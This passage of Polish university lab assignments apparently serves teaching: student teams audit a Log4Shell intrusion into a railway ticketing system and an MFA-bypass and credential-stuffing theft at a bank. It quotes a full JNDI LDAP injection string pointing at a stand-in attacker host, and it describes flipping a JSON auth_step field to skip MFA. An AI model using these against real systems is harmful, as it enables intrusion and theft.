  • Zewnętrzny wykonawca oprogramowania, z którym spółka zawarła umowę utrzymaniową, nie wdrożył żadnych narzędzi klasy Software Composition Analysis (SCA) w potokach budowania GitLab CI, a spółka nie posiadała ewidencji komponentów w formacie Software Bill of Materials (SBOM). Zgłoszenia o konieczności aktualizacji bibliotek były odrzucane przez kierownika projektu wykonawcy jako "prace optymalizacyjne nieobjęte ryczałtem serwisowym".
  • W środę przed długim weekendem majowym zorganizowana grupa cyberprzestępcza przeprowadziła zautomatyzowany skan zasobów PKP. Wstrzyknięcie spreparowanego ciągu JNDI LDAP w nagłówku żądania HTTP: `${jndi:ldap://c2.attacker-infrastructure.net:1389/Exploit}` w polu `User-Agent` aplikacji mobilnej wywołało automatyczne odpytanie serwera atakującego przez bibliotekę Log4j w mikroserwisie biletowym, załadowanie złośliwej klasy Java i natychmiastowe wykonanie kodu wewnątrz kontenera aplikacji z uprawnieniami konta `root`.
  • Intruzi dokonali eskalacji uprawnień w klastrze OpenShift, uzyskali dostęp do bazy danych PostgreSQL z historią transakcji pasażerów i zainstalowali skrypty kopiące kryptowalutę Monero na 64 węzłach klastra. Skrajne wysycenie procesorów (100% CPU) doprowadziło do załamania wydajnościowego systemu biletowego, zawieszenia płatności internetowych i paraliżu kas na dworcach kolejowych w całej Polsce na 14 godzin. Spółka poniosła straty szacowane na 18 mln PLN z tytułu utraconych przychodów i odszkodowań, a tysiące pasażerów nie mogło zakupić biletów na wyjazdy świąteczne.

Prezes Zarządu PKP Intercity, w obliczu kontroli Urzędu Transportu Kolejowego (UTK), postępowania wyjaśniającego Ministerstwa Infrastruktury i CSIRT NASK, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z KSC i Odporność Transportu CER): Odpowiada za ład prawno-organizacyjny, zgodność z Dyrektywą NIS2 (art. 21), Dyrektywą CER, przepisami kolejowymi UTK, relacje z CSIRT NASK i Zarządem, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board").

    Student B (Technical SecOps Auditor / Architekt Łańcucha Dostaw DevSecOps): Dokonuje technicznej dekonstrukcji ataku Log4Shell/JNDI, bada pliki pom.xml, obrazy kontenerów, logi OpenShift, projektuje zautomatyzowane generowanie SBOM w formacie CycloneDX, integrację skanerów SCA (Trivy/Snyk) w GitLab CI, podpisywanie artefaktów Cosign oraz mechanizmy wstrzykiwania zmiennych środowiskowych wyłączających JNDI lookup.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (10.0 Critical) i BCM (RTO=10m, RPO=0s, MTPD=30m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

Obecność niezałatanych bibliotek Log4j (CVE-2021-44228) i Spring Core (CVE-2022-22965) w systemie sprzedaży biletów e-IC 2.0, brak ewidencji komponentów w formacie SBOM oraz brak skanowania SCA w CI/CD, co umożliwiło zdalne wykonanie kodu RCE przez nagłówek User-Agent, przejęcie klastra Kubernetes i paraliż sprzedaży biletów na 14 godzin.

2. Criteria (Kryterium)

Naruszenie kontroli ISO/IEC 27001:2022 A.8.8 (Zarządzanie podatnościami technicznymi), A.5.19, A.5.20 i A.5.21 (Zarządzanie bezpieczeństwem w łańcuchu dostaw ICT), standardu OWASP ASVS v4.0.3 L3 (wymóg V13.1, V13.2 - obowiązkowy rejestr zależności i usuwanie znanych podatności), art. 21 ust. 2 lit. d Dyrektywy NIS2, art. 11 Ustawy o KSC, wymogów Dyrektywy CER oraz standardu SLSA v1.0.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego system biletowy przestał działać? (W klastrze uruchomiono nieautoryzowane skrypty kopiące krypto wysycające procesory). 2. W jaki sposób intruzi wdrożyli złośliwe skrypty? (Wykorzystali podatność RCE Log4Shell w mikroserwisie generowania biletów).
  2. Dlaczego w systemie produkcyjnym znajdowała się podatność znana od ponad 2 lat? (Zewnętrzny wykonawca nie przeprowadzał aktualizacji bibliotek zewnętrznych).
  3. Dlaczego PKP Intercity nie wyegzekwowało aktualizacji od wykonawcy? (W umowie SLA nie zdefiniowano mierzalnych wskaźników zarządzania podatnościami technicznymi ani wymogu przekazywania SBOM).

Przyczyna źródłowa: Całkowity brak ładu zarządzania bezpieczeństwem łańcucha dostaw oprogramowania (Software Supply Chain Governance), brak zautomatyzowanych bramek SCA w procesie odbiorczym oraz brak centralnej ewidencji komponentów open source w spółce.

4. Consequence (Skutki)

Bezpośrednie straty finansowe w kwocie 18 mln PLN, natychmiastowe kary finansowe ze strony UTK za paraliż transportu publicznego, sankcje administracyjne z Ustawy o KSC i Dyrektywy NIS2 do 10 mln EUR lub 2% obrotu, olbrzymie straty wizerunkowe przewoźnika narodowego oraz odpowiedzialność dyscyplinarna kadry menedżerskiej.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego system biletowy przestał działać? (W klastrze uruchomiono nieautoryzowane skrypty kopiące krypto wysycające procesory). 2. W jaki sposób intruzi wdrożyli złośliwe skrypty? (Wykorzystali podatność RCE Log4Shell w mikroserwisie generowania biletów).
  2. 2
    Dlaczego w systemie produkcyjnym znajdowała się podatność znana od ponad 2 lat? (Zewnętrzny wykonawca nie przeprowadzał aktualizacji bibliotek zewnętrznych).
  3. 3
    Dlaczego PKP Intercity nie wyegzekwowało aktualizacji od wykonawcy? (W umowie SLA nie zdefiniowano mierzalnych wskaźników zarządzania podatnościami technicznymi ani wymogu przekazywania SBOM).
  4. root
    Przyczyna źródłowa: Całkowity brak ładu zarządzania bezpieczeństwem łańcucha dostaw oprogramowania (Software Supply Chain Governance), brak zautomatyzowanych bramek SCA w procesie odbiorczym oraz brak centralnej ewidencji komponentów open source w spółce.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Zdalne wykonanie kodu (RCE) i przejęcie infrastruktury przez podatność Log4Shell ( 5 5 25/25 – Ryzyko Ekstremalne 1 4 4/25 – Ryzyko Akceptowalne
Masowy paraliż kanałów sprzedaży biletów przed szczytami przewozowymi ( 5 5 25/25 1 3 3/25
Kompromitacja bazy danych pasażerów i wyciek historii podróży obywateli ( 4 5 20/25 1 3 3/25
Wprowadzenie złośliwego kodu przez niezweryfikowane biblioteki w łańcuchu dostaw ( 4 5 20/25 1 4 4/25
ParametrWartość docelowa
rto10 min dla przywrócenia stabilnej pracy mikroserwisów biletowych
rpo0 sekund (ochrona nienaruszalności transakcji płatniczych i rezerwacji miejsc)
mtpd30 minut
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniNatychmiastowa aktualizacja biblioteki Log4j do bezpiecznej wersji 2.22.0 we wszystkich mikroserwisach, wstrzyknięcie zmiennej środowiskowej `-Dlog4j2.formatMsgNoLookups=true` jako kontroli kompensacyjnej na poziomie podów Kubernetes, wdrożenie reguł WAF blokujących ciągi JNDI LDAP/RMI, izolacja skompromitowanych węzłów klastra i usunięcie koparek kryptowalutA - Prezes Zarządu, R - CISO / Architekt OpenShift100% instancji zaktualizowanych do wersji bezpiecznejLiczba alertów JNDI w WAF = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniWdrożenie w potokach GitLab CI/CD skanerów SCA (Trivy oraz Snyk) generujących obligatoryjny dokument SBOM w standardzie CycloneDX v1.5 przy każdym commicie; wdrożenie bramki Quality Gate blokującej wdrożenie w przypadku wykrycia podatności z wynikiem CVSS >= 7.0; podpisanie aneksów do umów ze wszystkimi dostawcami oprogramowania wymuszających przekazywanie SBOM i bezwzględne usuwanie podatności krytycznych w czasie poniżej 24 godzinA - Członek Zarządu ds. Informatyki, R - Lead DevSecOps Engineer100% mikroserwisów z zarejestrowanym SBOM CycloneDXŚredni czas usuwania luki krytycznej MTTR < 24h
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie standardu Supply-chain Levels for Software Artifacts (SLSA v1.0) na Poziomie 3 z kryptograficznym podpisywaniem kontenerów za pomocą Cosign i weryfikacją w klastrze Kubernetes przez silnik Kyverno / Gatekeeper; powołanie Uczelniano-Kolejowego Laboratorium Testowania Oprogramowania w celu cyklicznych audytów bezpieczeństwa kodu; audyt zgodności z Cyber Resilience ActA - Zarząd PKP Intercity, R - CISO / Konsultant Zewnętrzny100% obrazów kontenerowych podpisanych kryptograficznieLiczba niepodpisanych artefaktów w klastrze = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Zarządzania Komponentami Zewnętrznymi, SBOM i Bezpieczeństwem Łańcucha Dostaw Oprogramowania PKP Intercity S.A." z numerowanymi artykułami:

    • § 1 Cel i zakres standardu (zapewnienie ciągłości transportu kolejowego i zgodności z NIS2/CER).
    • § 2 Obowiązek generowania i ewidencji dokumentów SBOM CycloneDX dla każdego systemu cyfrowego.
    • § 3 Zasady automatycznego skanowania SCA w potokach CI/CD i kryteria bramek jakościowych (Quality Gates).
    • § 4 Standardy podpisywania i nienaruszalności kontenerów wg frameworku SLSA Level 3.
    • § 5 Matryca SLA i czasy reakcji na podatności techniczne (krytyczne do 24h, wysokie do 7 dni).
    • § 6 Kary umowne i sankcje za dostarczanie oprogramowania z podatnymi komponentami zewnętrznymi.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Zarządu PKP Intercity i UTK: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), rozliczenie strat 18 mln PLN, ochrona przychodów rocznych 2,8 mld PLN, wyeliminowanie sankcji KSC/NIS2 (do 10 mln EUR), kosztorys CAP (410 000 PLN na narzędzia SCA, SLSA i wdrożenie OIDC) oraz stopa zwrotu z inwestycji (ROSI).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan prezentacji seminaryjnej przed komisją (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu i UTK (3 min): Przedstawienie skali paraliżu biletowego przed majówką, ekspozycji prawnej i bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna ataku Log4Shell i analizy klastra OpenShift (4 min): Prezentacja wektora JNDI LDAP w nagłówku User-Agent, zrzutów ruchu sieciowego, analiza podatności w plikach pom.xml oraz mechanizm działania złośliwego ładunku Java (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z KSC, NIS2, CER, standardem SLSA i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie generowania SBOM CycloneDX, bramek SCA Trivy, podpisywania Cosign i rygorystycznego SLA 24h (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Merytoryczne uzasadnienie kosztów narzędzi SCA w relacji do strat z 14-godzinnego paraliżu sprzedaży (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Bilans ryzyk technologicznych w łańcuchu dostaw oprogramowania (IR vs RR).
  • Skutki incydentu RCE dla ciągłości transportu publicznego.
  • Budżet Planu CAP (410 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na zaawansowane pytania problemowe i opis sytuacji kryzysowej:

  • Czym charakteryzował się mechanizm podatności Log4Shell (CVE-2021-44228), dlaczego funkcja JNDI Message Lookup doprowadziła do globalnego kryzysu cyberbezpieczeństwa i jakie mechanizmy architektury kontenerowej (zasada Least Privilege, Read-Only Root Filesystem, Network Policies) ograniczają skutki potencjalnego RCE?
  • W jaki sposób format Software Bill of Materials (SBOM) w standardzie CycloneDX umożliwia automatyczną identyfikację podatności w łańcuchu dostaw oprogramowania w czasie rzeczywistym, jeszcze przed zgłoszeniem incydentu?
  • Czym różni się standard SLSA (Supply-chain Levels for Software Artifacts) od tradycyjnego skanowania kodu i jakie gwarancje integralności procesu budowania daje poziom SLSA Build Level 3?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 10.0 Critical).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Zarządzania SBOM i Łańcuchem Dostaw (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (narzut czasowy skanowania SCA i generowania SBOM w potoku CI/CD vs tempo wydań produkcyjnych).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A06:2021 Vulnerable and Outdated Components.
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V13 External Components.
  • Cybersecurity and Infrastructure Security Agency (CISA): "Software Bill of Materials (SBOM) and Supply Chain Risk Management", 2023.
  • Open Source Security Foundation (OpenSSF): "Supply-chain Levels for Software Artifacts (SLSA) Specification v1.0", 2023.
  • Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21 ust. 2 lit. d (Bezpieczeństwo łańcucha dostaw).
  • Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2557 z dnia 14 grudnia 2022 r. w sprawie odporności podmiotów krytycznych (Dyrektywa CER).
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.8 (Zarządzanie podatnościami technicznymi), A.5.19, A.5.20, A.5.21 (Łańcuch dostaw ICT).
  • Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz.U. z 2023 r. poz. 913 z późn. zm.).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Precyzyjna identyfikacja i formalna kwalifikacja luk łańcucha dostaw (RCE Log4Shell) w modelu 4C oraz analiza 5 Why.
  • U1 Projekt zintegrowanego systemu zarządzania SBOM CycloneDX, integracji skanerów SCA i wdrożenia standardu SLSA Level 3.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość ustawy o KSC, NIS2, CER, Cyber Resilience Act, normy ISO 27001 i frameworku SLSA.
  • K1K2K3 Obiektywizm, niezależność audytorska, bezkompromisowa ochrona ciągłości transportu publicznego i etyka zawodowa.
Wskazówki do przygotowania i obrony referatu

Podczas wystąpienia przed komisją zademonstrujcie strukturę przykładowego pliku SBOM w formacie CycloneDX weryfikującego zależność biblioteki Log4j oraz wskażcie, w jaki sposób zautomatyzowana bramka Quality Gate w potoku CI/CD uniemożliwia wdrożenie kodu z niezałatana podatnością o CVSS=10.0.

07
Bank Komercyjny 'polskie Centrum rozliczeń S.A.' (sektor bankowy i finansowy / DORA / rekomendacja d i m KNF / EBA GL / prawo bankowe)
Zwiń

Temat: Strategiczny Audyt Błędów Identyfikacji, Uwierzytelniania i Zarządzania Sesją (A07:2021 - Identification and Authentication Failures: Credential Stuffing, Ominięcie MFA, Sesje JWT): Zbieżność Rozporządzenia DORA, Rekomendacji D i M KNF, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

Polskie Centrum Rozliczeń S.A. – PCR-Online / PCR-Mobile (DORA/ Rekomendacja D i M KNF / EBA GL)Audyt A07:2021 Identification and Authentication Failures (formuła 90 min)1Credential Stuffing zbotnetu na/api/v2/auth/login,brak blokady kont2Obejście MFA przezmanipulację stanemkroku w JSON, JWT bezunieważniania3Kradzież 14,8 mln PLNz kont PrivateBanking (IR=25, CVSS9.8)4FIDO2/WebAuthn +adaptacyjne MFA +czarna lista JWT wRedis + CAPSchemat strategicznego audytu błędów uwierzytelniania w bankowości elektronicznej: atak Credential Stuffing,ominięcie MFA, cykl życia sesji JWT w klastrze Redis, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Schemat strategicznego audytu błędów uwierzytelniania w bankowości elektronicznej: atak Credential Stuffing, ominięcie MFA, cykl życia sesji JWT w klastrze Redis, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce rygorystycznego audytu mechanizmów identyfikacji, uwierzytelniania oraz zarządzania sesją użytkowników (kategoria OWASP Top 10:2021 - A07:2021 Identification and Authentication Failures) w systemie bankowości elektronicznej i mobilnej 'e-Bank' komercyjnego banku uniwersalnego. Instytucja przetwarza miliony operacji finansowych i podlega bezpośredniemu nadzorowi Komisji Nadzoru Finansowego (KNF) oraz rygorom Rozporządzenia DORA. Audyt koncentruje się na krytycznym incydencie przełamania zabezpieczeń dostępowych: zmasowanym ataku typu Credential Stuffing z wykorzystaniem rozproszonego botnetu odpytującego endpoint API `/api/v2/auth/login`, na którym z powodu "optymalizacji doświadczeń klienta (UX)" wyłączono mechanizmy blokady kont po błędnych próbach logowania oraz inteligentny Rate Limiting. Ponadto audyt ujawnił krytyczną podatność logiczną w wieloetapowej procedurze silnego uwierzytelnienia klienta (Strong Customer Authentication - SCA): manipulacja parametrem stanu w odpowiedzi JSON (`"auth_step": "PENDING_MFA"` zmienione w proxy na `"auth_step": "SUCCESS"`) pozwalała na całkowite ominięcie autoryzacji SMS/push, a tokeny JSON Web Token (JWT) nie były unieważniane po wylogowaniu klienta (brak mechanizmu czarnej listy tokenów w klastrze cache). W efekcie przestępcy przejęli kontrolę nad kontami 1 200 zamożnych klientów Private Banking i zrealizowali nieautoryzowane przelewy natychmiastowe Express Elixir na łączną kwotę 14,8 mln PLN. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, kwantyfikacji ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją CVSS v3.1 (9.8 Critical) oraz parametrami ciągłości działania BCM (RTO=10m, RPO=0s, MTPD=15m), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy adaptacyjnego uwierzytelniania FIDO2/WebAuthn, zarządzania cyklem życia sesji i detekcji anomalii oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Zarządu Banku i KNF.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość rygorów sektora bankowego, Rozporządzenia DORA, Rekomendacji D i M KNF, Wytycznych Europejskiego Urzędu Nadzoru Bankowego (EBA GL) w sprawie bezpieczeństwa płatności internetowych, Prawa bankowego (art. 105 - ochrona tajemnicy bankowej) oraz odpowiedzialności odszkodowawczej.
  • W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A07), OWASP ASVS v4.0.3 L3 (Sekcja V2 Uwierzytelnianie, Sekcja V3 Zarządzanie Sesją), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.5 Bezpieczne uwierzytelnianie, A.8.15 Rejestrowanie zdarzeń, A.8.16 Monitorowanie aktywności) oraz standardu FIDO Alliance (FIDO2/WebAuthn).
  • U1 Opracowanie zaleceń inżynierskich adaptacyjnego MFA opartego na kontekście ryzyka (Risk-Based Authentication), wdrożenia sprzętowych kluczy FIDO2/Passkeys, unieważniania tokenów JWT za pomocą rozproszonej czarnej listy w Redis (Token Revocation List / Bloom Filter) oraz silnika behawioralnej detekcji botów i anomalii logowania.
  • U2 Bezbłędna kwalifikacja uchybienia uwierzytelniania w modelu 4C z precyzyjnym powołaniem regulacji DORA, KNF i EBA.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów masowej kradzieży środków z kont, ominięcia SCA i utraty licencji bankowej (IR=25, CVSS=9.8, korelacja z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Profesjonalizm audytorski, niezależność w ocenie kompromisów wygody użytkownika i bezpieczeństwa, odporność na presję biznesu i wysoka kultura bankowa.
  • Powiązanie z wykładem: Wyk1 (Audyt ładu korporacyjnego w bankowości), Wyk3 (Kontrole A.8.5 i A.8.16 ISO 27001), Wyk4 (DORA, Rekomendacja D KNF i EBA GL), Wyk5 (Matryca ryzyka 5x5 i BCM w rozliczeniach międzybankowych), Wyk6 (Analiza logów sesji i przepływów JWT/OAuth), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

Bank Komercyjny 'Polskie Centrum Rozliczeń S.A.' jest licencjonowaną instytucją finansową zrzeszającą ponad 800 000 klientów indywidualnych i korporacyjnych. System bankowości internetowej 'e-Bank' oraz aplikacja mobilna przetwarzają dziennie transakcje o wartości setek milionów złotych za pośrednictwem klastrów rozliczeniowych połączonych z Krajową Izbą Rozliczeniową (KIR).

Stan faktyczny w obszarze mechanizmów uwierzytelniania i incydentu przestępczego:

  • W architekturze warstwy logowania bank wdrożył mikroserwis uwierzytelniania oparty na tokenach JWT i protokole OAuth 2.0 / OpenID Connect. Na wniosek Departamentu Sprzedaży i Marketingu wyłączono mechanizm blokowania rachunku po 3 błędnych próbach wprowadzenia hasła oraz wyłączono mechanizm CAPTCHA, argumentując to "chęcią eliminacji tarć i poprawy współczynnika konwersji klientów".
  • W interfejsie API logowania (`POST /api/v2/auth/login`) brakowało adaptacyjnego ograniczania zapytań (Rate Limiting). Przestępcy, posługując się bazami wycieków haseł z innych portali internetowych (tzw. Combo Lists), przeprowadzili skoordynowany atak Credential Stuffing z wykorzystaniem 15 000 adresów IP węzłów sieci proxy i botnetu. W ciągu jednej nocy wykonano 4,2 miliona prób logowania z prędkością 80 zapytań na sekundę.
  • Co gorsza, w module silnego uwierzytelnienia klienta (SCA) wykryto krytyczną wadę implementacyjną po stronie klienta i serwera: aplikacja po poprawnym sprawdzeniu loginu i hasła wysyłała odpowiedź HTTP 200 z obiektem JSON zawierającym pole `{"auth_step": "PENDING_MFA", "session_context": "..."}`. Modyfikacja tej wartości w locie za pomocą narzędzi proxy (Burp Suite) na `{"auth_step": "SUCCESS", "session_context": "..."}` sprawiała, że frontendowa aplikacja Angular przechodziła bezpośrednio do pulpitu klienta, a backendowy interfejs API bezsprzecznie generował pełnowartościowy token JWT z uprawnieniami do zlecania przelewów, całkowicie ignorując wymóg weryfikacji kodu SMS lub powiadomienia Push.
  • Dodatkowo tokeny JWT generowane były z czasem życia (TTL) wynoszącym 24 godziny. Kliknięcie opcji 'Wyloguj' powodowało jedynie usunięcie tokenu z pamięci przeglądarki (Local Storage), podczas gdy serwer autoryzacyjny nie posiadał mechanizmu czarnej listy tokenów (Token Blacklist w Redis). Wykradziony token pozostawał w pełni aktywny przez resztę doby.
  • W toku skoordynowanego uderzenia sprawcy zalogowali się na konta 1 200 zamożnych klientów i zlecili masowe przelewy natychmiastowe Express Elixir na łączną kwotę 14,8 mln PLN do tzw. słupów i na giełdy kryptowalutowe, co wywołało kryzys płynnościowy i paraliż linii wsparcia klienta. Bank stanął w obliczu utraty reputacji, masowego odpływu depozytów oraz natychmiastowej kontroli doraźnej Departamentu Cyberbezpieczeństwa Urzędu Komisji Nadzoru Finansowego (UKNF).

Prezes Zarządu Banku, w porozumieniu z Radą Nadzorczą, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z DORA i Wytycznymi KNF): Odpowiada za ład regulacyjny sektora finansowego, zgodność z Rozporządzeniem DORA (art. 9 i 13), Rekomendacją D i M KNF, wytycznymi EBA ws. SCA, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Zarządu i UKNF.

    Student B (Technical SecOps Auditor / Architekt Identyfikacji i Sesji): Dekonstruuje wektor Credential Stuffing, bada lukę ominięcia SCA w protokole autoryzacji, analizuje strukturę tokenów JWT, brak czarnej listy w Redis, projektuje architekturę uwierzytelniania adaptacyjnego FIDO2/WebAuthn, silnik analizy behawioralnej i token revocation w Redis.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=10m, RPO=0s, MTPD=15m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

Aplikacja bankowa nie posiada mechanizmów obrony przed atakami Credential Stuffing (brak blokad kont i rate limitingu), zawiera krytyczną wadę logiczną umożliwiającą ominięcie silnego uwierzytelnienia klienta (SCA) poprzez prostą podmianę wartości w JSON oraz nie unieważnia 24-godzinnych tokenów JWT po wylogowaniu, co umożliwiło kradzież 14,8 mln PLN z kont Private Banking.

2. Criteria (Kryterium)

Naruszenie art. 9 ust. 2 i art. 13 Rozporządzenia DORA, Rekomendacji D KNF (obszar B - zarządzanie tożsamością i uprawnieniami, obszar C - architektura bezpieczeństwa), Wytycznych EBA w sprawie bezpieczeństwa płatności internetowych (wymóg Strong Customer Authentication), normy ISO/IEC 27001:2022 (kontrole A.8.5 Bezpieczne uwierzytelnianie, A.8.15, A.8.16), standardu OWASP ASVS v4.0.3 L3 (wymogi Sekcji V2 i V3) oraz art. 105 Prawa bankowego.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego sprawcy ukradli 14,8 mln PLN? (Zalogowali się na konta klientów i zlecili przelewy natychmiastowe). 2. W jaki sposób sprawcy zalogowali się bez znajomości kodów SMS/MFA? (Zmodyfikowali odpowiedź JSON, co spowodowało ominięcie weryfikacji drugiego składnika na backendzie).
  2. Dlaczego backend wydał token JWT bez potwierdzenia kodu MFA? (Stan sesji był przechowywany po stronie klienta, a endpoint tokenowy nie weryfikował flagi autoryzacji w bazie sesji).
  3. Dlaczego wyłączono blokady kont po błędnych logowaniach? (Zarząd zaakceptował wniosek działu marketingu o ułatwienie logowania w celu redukcji zgłoszeń na helpdesk).

Przyczyna źródłowa: Brak ładu bezpieczeństwa tożsamości (Identity Governance) w banku, brak niezależnej weryfikacji architektonicznej zmian w procedurach SCA oraz przedłożenie wygody klienta (UX) nad fundamentalne wymogi prawa bankowego i cyberodporności DORA.

4. Consequence (Skutki)

Bezpośrednia strata finansowa w kwocie 14,8 mln PLN, ryzyko utraty licencji bankowej lub nałożenia zarządu komisarycznego przez KNF, sankcje finansowe z Rozporządzenia DORA (do 10 mln EUR lub 2% obrotu), masowy odpływ depozytów i utrata płynności finansowej oraz odpowiedzialność karna członków zarządu z art. 296 KK (niegospodarność wielkich rozmiarów).

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego sprawcy ukradli 14,8 mln PLN? (Zalogowali się na konta klientów i zlecili przelewy natychmiastowe). 2. W jaki sposób sprawcy zalogowali się bez znajomości kodów SMS/MFA? (Zmodyfikowali odpowiedź JSON, co spowodowało ominięcie weryfikacji drugiego składnika na backendzie).
  2. 2
    Dlaczego backend wydał token JWT bez potwierdzenia kodu MFA? (Stan sesji był przechowywany po stronie klienta, a endpoint tokenowy nie weryfikował flagi autoryzacji w bazie sesji).
  3. 3
    Dlaczego wyłączono blokady kont po błędnych logowaniach? (Zarząd zaakceptował wniosek działu marketingu o ułatwienie logowania w celu redukcji zgłoszeń na helpdesk).
  4. root
